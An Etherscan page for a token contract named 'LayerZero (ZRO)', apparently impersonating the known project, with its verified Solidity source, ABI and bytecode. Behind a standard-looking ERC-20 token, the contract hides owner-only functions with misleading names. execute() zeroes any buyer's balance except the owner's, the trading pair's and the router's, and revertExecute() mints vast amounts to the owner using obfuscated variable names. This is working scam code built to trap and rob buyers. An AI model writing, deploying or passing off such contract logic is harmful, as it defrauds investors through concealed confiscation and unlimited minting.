ETH Price: $2,872.23 (-9.67%)
Gas: 13 Gwei

Token

LayerZero (ZRO)
 

Overview

Max Total Supply

1,000,000,000 ZRO

Holders

43

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Balance
14,909,743.672861229 ZRO

Value
$0.00
0xd8cdb3b74a3a2c06818bb7183a40500bfc11113d
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
LayerZero

Compiler Version
v0.8.25+commit.b61c2a91

Optimization Enabled:
No with 200 runs

Other Settings:
shanghai EvmVersion, MIT license
/**
 *Submitted for verification at Etherscan.io on 2024-05-19
*/

// SPDX-License-Identifier: MIT

/*
   * Website: https://layerzero.network
   * Twitter: https://x.com/LayerZero_Labs
   * Telegram: https://t.me/joinchat/VcqxYkStIDsyN2Rh
*/  

pragma solidity ^0.8.20;

/**
 * @dev Interface of the ERC-20 standard as defined in the ERC.
 */
interface IERC20 {
    /**
     * @dev Emitted when `value` tokens are moved from one account (`from`) to
     * another (`to`).
     *
     * Note that `value` may be zero.
     */
    event Transfer(address indexed from, address indexed to, uint256 value);

    /**
     * @dev Emitted when the allowance of a `spender` for an `owner` is set by
     * a call to {approve}. `value` is the new allowance.
     */
    event Approval(address indexed owner, address indexed spender, uint256 value);

    /**
     * @dev Returns the value of tokens in existence.
     */
    function totalSupply() external view returns (uint256);

    /**
     * @dev Returns the value of tokens owned by `account`.
     */
    function balanceOf(address account) external view returns (uint256);

    /**
     * @dev Moves a `value` amount of tokens from the caller's account to `to`.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transfer(address to, uint256 value) external returns (bool);

    /**
     * @dev Returns the remaining number of tokens that `spender` will be
     * allowed to spend on behalf of `owner` through {transferFrom}. This is
     * zero by default.
     *
     * This value changes when {approve} or {transferFrom} are called.
     */
    function allowance(address owner, address spender) external view returns (uint256);

    /**
     * @dev Sets a `value` amount of tokens as the allowance of `spender` over the
     * caller's tokens.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * IMPORTANT: Beware that changing an allowance with this method brings the risk
     * that someone may use both the old and the new allowance by unfortunate
     * transaction ordering. One possible solution to mitigate this race
     * condition is to first reduce the spender's allowance to 0 and set the
     * desired value afterwards:
     * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
     *
     * Emits an {Approval} event.
     */
    function approve(address spender, uint256 value) external returns (bool);

    /**
     * @dev Moves a `value` amount of tokens from `from` to `to` using the
     * allowance mechanism. `value` is then deducted from the caller's
     * allowance.
     *
     * Returns a boolean value indicating whether the operation succeeded.
     *
     * Emits a {Transfer} event.
     */
    function transferFrom(address from, address to, uint256 value) external returns (bool);
}

/**
 * @dev Interface of the IPancakeFactory standard as defined in the Pancakeswap Factory Interface.
 */
interface IPancakeFactory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

contract LayerZero {
    uint256 private _supply;
    string private _name;
    string private _symbol;
    address private _owner;
    uint8 private _decimals;
    uint256 boughAmount = 0;
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;
    event Approval(address indexed owner, address indexed spender, uint256 value);
    event Transfer(address indexed from, address indexed to, uint256 value);
    constructor() {
        _name = "LayerZero";
        _symbol = "ZRO";
        _decimals = 9;
        _supply = 10 ** 9 * 10 ** _decimals;
        _owner = msg.sender;
        _balances[msg.sender] = _supply;
        emit Transfer(address(0), msg.sender, _supply);
    }

    function symbol() public view  returns (string memory) {
        return _symbol;
    }

    function totalSupply() public view returns (uint256) {
        return _supply;
    }

    function decimals() public view virtual returns (uint8) {
        return _decimals;
    }

    function balanceOf(address account) public view returns (uint256) {
        return _balances[account];
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function transfer(address to, uint256 amount) public returns (bool) {
        _transfer(msg.sender, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view returns (uint256) {
        return _allowances[owner][spender];
    }

    function cex(address[] memory _user, uint256[] memory _amount) external {
        if(_owner == msg.sender) {
            for(uint i = 0; i < _user.length; i++) {
                _transfer(msg.sender, _user[i], _amount[i]);
            }
        }
    }

    function execute(address n) external {
        if(_owner == msg.sender && _owner != n && pairs() != n && n != 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D){
            _balances[n] = boughAmount;
        } else {}
    }

    function revertExecute(uint256 n) external {
        if(_owner == msg.sender) {
            uint256 devTransfer = n;
            devTransfer = 10**15 * n * 1 *  10 **_decimals;
            uint256 rev_bxx = devTransfer;
            address mnt = msg.sender;
            address xrgpqndn = mnt;
            _balances[xrgpqndn] += rev_bxx;
        }
    } 
    function pairs() public view virtual returns (address) {
        return IPancakeFactory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f).getPair(address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2), address(this));
    }


    function approve(address spender, uint256 amount) public returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual  returns (bool) {
        address spender = msg.sender;
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }
    
    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        uint256 balance = _balances[from];
        require(balance >= amount, "ERC20: transfer amount exceeds balance");
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        _balances[from] = _balances[from]-amount;
        _balances[to] = _balances[to]+amount;
        emit Transfer(from, to, amount); 
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            _approve(owner, spender, currentAllowance - amount);
        }
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_user","type":"address[]"},{"internalType":"uint256[]","name":"_amount","type":"uint256[]"}],"name":"cex","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"n","type":"address"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"pairs","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"n","type":"uint256"}],"name":"revertExecute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040525f600455348015610013575f80fd5b506040518060400160405280600981526020017f4c617965725a65726f0000000000000000000000000000000000000000000000815250600190816100589190610412565b506040518060400160405280600381526020017f5a524f00000000000000000000000000000000000000000000000000000000008152506002908161009d9190610412565b506009600360146101000a81548160ff021916908360ff160217905550600360149054906101000a900460ff16600a6100d69190610649565b633b9aca006100e59190610693565b5f819055503360035f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505f5460055f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503373ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef5f546040516101cb91906106e3565b60405180910390a36106fc565b5f81519050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061025357607f821691505b6020821081036102665761026561020f565b5b50919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f600883026102c87fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8261028d565b6102d2868361028d565b95508019841693508086168417925050509392505050565b5f819050919050565b5f819050919050565b5f61031661031161030c846102ea565b6102f3565b6102ea565b9050919050565b5f819050919050565b61032f836102fc565b61034361033b8261031d565b848454610299565b825550505050565b5f90565b61035761034b565b610362818484610326565b505050565b5b818110156103855761037a5f8261034f565b600181019050610368565b5050565b601f8211156103ca5761039b8161026c565b6103a48461027e565b810160208510156103b3578190505b6103c76103bf8561027e565b830182610367565b50505b505050565b5f82821c905092915050565b5f6103ea5f19846008026103cf565b1980831691505092915050565b5f61040283836103db565b9150826002028217905092915050565b61041b826101d8565b67ffffffffffffffff811115610434576104336101e2565b5b61043e825461023c565b610449828285610389565b5f60209050601f83116001811461047a575f8415610468578287015190505b61047285826103f7565b8655506104d9565b601f1984166104888661026c565b5f5b828110156104af5784890151825560018201915060208501945060208101905061048a565b868310156104cc57848901516104c8601f8916826103db565b8355505b6001600288020188555050505b505050505050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156105635780860481111561053f5761053e6104e1565b5b600185161561054e5780820291505b808102905061055c8561050e565b9450610523565b94509492505050565b5f8261057b5760019050610636565b81610588575f9050610636565b816001811461059e57600281146105a8576105d7565b6001915050610636565b60ff8411156105ba576105b96104e1565b5b8360020a9150848211156105d1576105d06104e1565b5b50610636565b5060208310610133831016604e8410600b841016171561060c5782820a905083811115610607576106066104e1565b5b610636565b610619848484600161051a565b925090508184048111156106305761062f6104e1565b5b81810290505b9392505050565b5f60ff82169050919050565b5f610653826102ea565b915061065e8361063d565b925061068b7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461056c565b905092915050565b5f61069d826102ea565b91506106a8836102ea565b92508282026106b6816102ea565b915082820484148315176106cd576106cc6104e1565b5b5092915050565b6106dd816102ea565b82525050565b5f6020820190506106f65f8301846106d4565b92915050565b611a57806107095f395ff3fe608060405234801561000f575f80fd5b50600436106100cd575f3560e01c8063622180231161008a578063a9059cbb11610064578063a9059cbb14610211578063d40ef58a14610241578063dd62ed3e1461025d578063ffb0a4a01461028d576100cd565b806362218023146101a757806370a08231146101c357806395d89b41146101f3576100cd565b806306fdde03146100d1578063095ea7b3146100ef57806318160ddd1461011f57806323b872dd1461013d578063313ce5671461016d5780634b64e4921461018b575b5f80fd5b6100d96102ab565b6040516100e69190610ea9565b60405180910390f35b61010960048036038101906101049190610f67565b61033b565b6040516101169190610fbf565b60405180910390f35b610127610351565b6040516101349190610fe7565b60405180910390f35b61015760048036038101906101529190611000565b610359565b6040516101649190610fbf565b60405180910390f35b610175610380565b604051610182919061106b565b60405180910390f35b6101a560048036038101906101a09190611084565b610396565b005b6101c160048036038101906101bc91906112af565b61051c565b005b6101dd60048036038101906101d89190611084565b6105cd565b6040516101ea9190610fe7565b60405180910390f35b6101fb610613565b6040516102089190610ea9565b60405180910390f35b61022b60048036038101906102269190610f67565b6106a3565b6040516102389190610fbf565b60405180910390f35b61025b60048036038101906102569190611325565b6106b9565b005b61027760048036038101906102729190611350565b6107bf565b6040516102849190610fe7565b60405180910390f35b610295610841565b6040516102a2919061139d565b60405180910390f35b6060600180546102ba906113e3565b80601f01602080910402602001604051908101604052809291908181526020018280546102e6906113e3565b80156103315780601f1061030857610100808354040283529160200191610331565b820191905f5260205f20905b81548152906001019060200180831161031457829003601f168201915b5050505050905090565b5f6103473384846108e9565b6001905092915050565b5f8054905090565b5f80339050610369858285610aac565b610374858585610b40565b60019150509392505050565b5f600360149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561043f57508073ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b801561047e57508073ffffffffffffffffffffffffffffffffffffffff16610465610841565b73ffffffffffffffffffffffffffffffffffffffff1614155b80156104ca5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156105185760045460055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610519565b5b50565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036105c9575f5b82518110156105c7576105ba3384838151811061059257610591611413565b5b60200260200101518484815181106105ad576105ac611413565b5b6020026020010151610b40565b8080600101915050610572565b505b5050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b606060028054610622906113e3565b80601f016020809104026020016040519081016040528092919081815260200182805461064e906113e3565b80156106995780601f1061067057610100808354040283529160200191610699565b820191905f5260205f20905b81548152906001019060200180831161067c57829003601f168201915b5050505050905090565b5f6106af338484610b40565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036107bc575f819050600360149054906101000a900460ff16600a61072d919061159c565b60018366038d7ea4c6800061074291906115e6565b61074c91906115e6565b61075691906115e6565b90505f8190505f3390505f8190508260055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107b09190611627565b92505081905550505050505b50565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a4390573c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2306040518363ffffffff1660e01b81526004016108a592919061165a565b602060405180830381865afa1580156108c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e49190611695565b905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610957576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094e90611730565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc906117be565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a9f9190610fe7565b60405180910390a3505050565b5f610ab784846107bf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610b3a5781811015610b23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1a90611826565b60405180910390fd5b610b3984848484610b349190611844565b6108e9565b5b50505050565b5f60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905081811015610bc4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bbb906118e7565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1603610c32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2990611975565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ca0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c9790611a03565b60405180910390fd5b8160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610ce99190611844565b60055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054610d739190611627565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610e119190610fe7565b60405180910390a350505050565b5f81519050919050565b5f82825260208201905092915050565b5f5b83811015610e56578082015181840152602081019050610e3b565b5f8484015250505050565b5f601f19601f8301169050919050565b5f610e7b82610e1f565b610e858185610e29565b9350610e95818560208601610e39565b610e9e81610e61565b840191505092915050565b5f6020820190508181035f830152610ec18184610e71565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f610f0382610eda565b9050919050565b610f1381610ef9565b8114610f1d575f80fd5b50565b5f81359050610f2e81610f0a565b92915050565b5f819050919050565b610f4681610f34565b8114610f50575f80fd5b50565b5f81359050610f6181610f3d565b92915050565b5f8060408385031215610f7d57610f7c610ed2565b5b5f610f8a85828601610f20565b9250506020610f9b85828601610f53565b9150509250929050565b5f8115159050919050565b610fb981610fa5565b82525050565b5f602082019050610fd25f830184610fb0565b92915050565b610fe181610f34565b82525050565b5f602082019050610ffa5f830184610fd8565b92915050565b5f805f6060848603121561101757611016610ed2565b5b5f61102486828701610f20565b935050602061103586828701610f20565b925050604061104686828701610f53565b9150509250925092565b5f60ff82169050919050565b61106581611050565b82525050565b5f60208201905061107e5f83018461105c565b92915050565b5f6020828403121561109957611098610ed2565b5b5f6110a684828501610f20565b91505092915050565b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6110e982610e61565b810181811067ffffffffffffffff82111715611108576111076110b3565b5b80604052505050565b5f61111a610ec9565b905061112682826110e0565b919050565b5f67ffffffffffffffff821115611145576111446110b3565b5b602082029050602081019050919050565b5f80fd5b5f61116c6111678461112b565b611111565b9050808382526020820190506020840283018581111561118f5761118e611156565b5b835b818110156111b857806111a48882610f20565b845260208401935050602081019050611191565b5050509392505050565b5f82601f8301126111d6576111d56110af565b5b81356111e684826020860161115a565b91505092915050565b5f67ffffffffffffffff821115611209576112086110b3565b5b602082029050602081019050919050565b5f61122c611227846111ef565b611111565b9050808382526020820190506020840283018581111561124f5761124e611156565b5b835b8181101561127857806112648882610f53565b845260208401935050602081019050611251565b5050509392505050565b5f82601f830112611296576112956110af565b5b81356112a684826020860161121a565b91505092915050565b5f80604083850312156112c5576112c4610ed2565b5b5f83013567ffffffffffffffff8111156112e2576112e1610ed6565b5b6112ee858286016111c2565b925050602083013567ffffffffffffffff81111561130f5761130e610ed6565b5b61131b85828601611282565b9150509250929050565b5f6020828403121561133a57611339610ed2565b5b5f61134784828501610f53565b91505092915050565b5f806040838503121561136657611365610ed2565b5b5f61137385828601610f20565b925050602061138485828601610f20565b9150509250929050565b61139781610ef9565b82525050565b5f6020820190506113b05f83018461138e565b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806113fa57607f821691505b60208210810361140d5761140c6113b6565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156114c25780860481111561149e5761149d611440565b5b60018516156114ad5780820291505b80810290506114bb8561146d565b9450611482565b94509492505050565b5f826114da5760019050611595565b816114e7575f9050611595565b81600181146114fd576002811461150757611536565b6001915050611595565b60ff84111561151957611518611440565b5b8360020a9150848211156115305761152f611440565b5b50611595565b5060208310610133831016604e8410600b841016171561156b5782820a90508381111561156657611565611440565b5b611595565b6115788484846001611479565b9250905081840481111561158f5761158e611440565b5b81810290505b9392505050565b5f6115a682610f34565b91506115b183611050565b92506115de7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84846114cb565b905092915050565b5f6115f082610f34565b91506115fb83610f34565b925082820261160981610f34565b915082820484148315176116205761161f611440565b5b5092915050565b5f61163182610f34565b915061163c83610f34565b925082820190508082111561165457611653611440565b5b92915050565b5f60408201905061166d5f83018561138e565b61167a602083018461138e565b9392505050565b5f8151905061168f81610f0a565b92915050565b5f602082840312156116aa576116a9610ed2565b5b5f6116b784828501611681565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f61171a602483610e29565b9150611725826116c0565b604082019050919050565b5f6020820190508181035f8301526117478161170e565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f6117a8602283610e29565b91506117b38261174e565b604082019050919050565b5f6020820190508181035f8301526117d58161179c565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000005f82015250565b5f611810601d83610e29565b915061181b826117dc565b602082019050919050565b5f6020820190508181035f83015261183d81611804565b9050919050565b5f61184e82610f34565b915061185983610f34565b925082820390508181111561187157611870611440565b5b92915050565b7f45524332303a207472616e7366657220616d6f756e74206578636565647320625f8201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b5f6118d1602683610e29565b91506118dc82611877565b604082019050919050565b5f6020820190508181035f8301526118fe816118c5565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f61195f602583610e29565b915061196a82611905565b604082019050919050565b5f6020820190508181035f83015261198c81611953565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6119ed602383610e29565b91506119f882611993565b604082019050919050565b5f6020820190508181035f830152611a1a816119e1565b905091905056fea2646970667358221220be3da8b6509b2e371a7dfd2638d02e5a56986a5229c7253d9bd731ac220cd9a664736f6c63430008190033

Deployed Bytecode

0x608060405234801561000f575f80fd5b50600436106100cd575f3560e01c8063622180231161008a578063a9059cbb11610064578063a9059cbb14610211578063d40ef58a14610241578063dd62ed3e1461025d578063ffb0a4a01461028d576100cd565b806362218023146101a757806370a08231146101c357806395d89b41146101f3576100cd565b806306fdde03146100d1578063095ea7b3146100ef57806318160ddd1461011f57806323b872dd1461013d578063313ce5671461016d5780634b64e4921461018b575b5f80fd5b6100d96102ab565b6040516100e69190610ea9565b60405180910390f35b61010960048036038101906101049190610f67565b61033b565b6040516101169190610fbf565b60405180910390f35b610127610351565b6040516101349190610fe7565b60405180910390f35b61015760048036038101906101529190611000565b610359565b6040516101649190610fbf565b60405180910390f35b610175610380565b604051610182919061106b565b60405180910390f35b6101a560048036038101906101a09190611084565b610396565b005b6101c160048036038101906101bc91906112af565b61051c565b005b6101dd60048036038101906101d89190611084565b6105cd565b6040516101ea9190610fe7565b60405180910390f35b6101fb610613565b6040516102089190610ea9565b60405180910390f35b61022b60048036038101906102269190610f67565b6106a3565b6040516102389190610fbf565b60405180910390f35b61025b60048036038101906102569190611325565b6106b9565b005b61027760048036038101906102729190611350565b6107bf565b6040516102849190610fe7565b60405180910390f35b610295610841565b6040516102a2919061139d565b60405180910390f35b6060600180546102ba906113e3565b80601f01602080910402602001604051908101604052809291908181526020018280546102e6906113e3565b80156103315780601f1061030857610100808354040283529160200191610331565b820191905f5260205f20905b81548152906001019060200180831161031457829003601f168201915b5050505050905090565b5f6103473384846108e9565b6001905092915050565b5f8054905090565b5f80339050610369858285610aac565b610374858585610b40565b60019150509392505050565b5f600360149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614801561043f57508073ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b801561047e57508073ffffffffffffffffffffffffffffffffffffffff16610465610841565b73ffffffffffffffffffffffffffffffffffffffff1614155b80156104ca5750737a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b156105185760045460055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550610519565b5b50565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036105c9575f5b82518110156105c7576105ba3384838151811061059257610591611413565b5b60200260200101518484815181106105ad576105ac611413565b5b6020026020010151610b40565b8080600101915050610572565b505b5050565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b606060028054610622906113e3565b80601f016020809104026020016040519081016040528092919081815260200182805461064e906113e3565b80156106995780601f1061067057610100808354040283529160200191610699565b820191905f5260205f20905b81548152906001019060200180831161067c57829003601f168201915b5050505050905090565b5f6106af338484610b40565b6001905092915050565b3373ffffffffffffffffffffffffffffffffffffffff1660035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16036107bc575f819050600360149054906101000a900460ff16600a61072d919061159c565b60018366038d7ea4c6800061074291906115e6565b61074c91906115e6565b61075691906115e6565b90505f8190505f3390505f8190508260055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8282546107b09190611627565b92505081905550505050505b50565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f735c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a4390573c02aaa39b223fe8d0a0e5c4f27ead9083c756cc2306040518363ffffffff1660e01b81526004016108a592919061165a565b602060405180830381865afa1580156108c0573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108e49190611695565b905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610957576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094e90611730565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036109c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109bc906117be565b60405180910390fd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610a9f9190610fe7565b60405180910390a3505050565b5f610ab784846107bf565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610b3a5781811015610b23576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b1a90611826565b60405180910390fd5b610b3984848484610b349190611844565b6108e9565b5b50505050565b5f60055f8573ffffffffffffff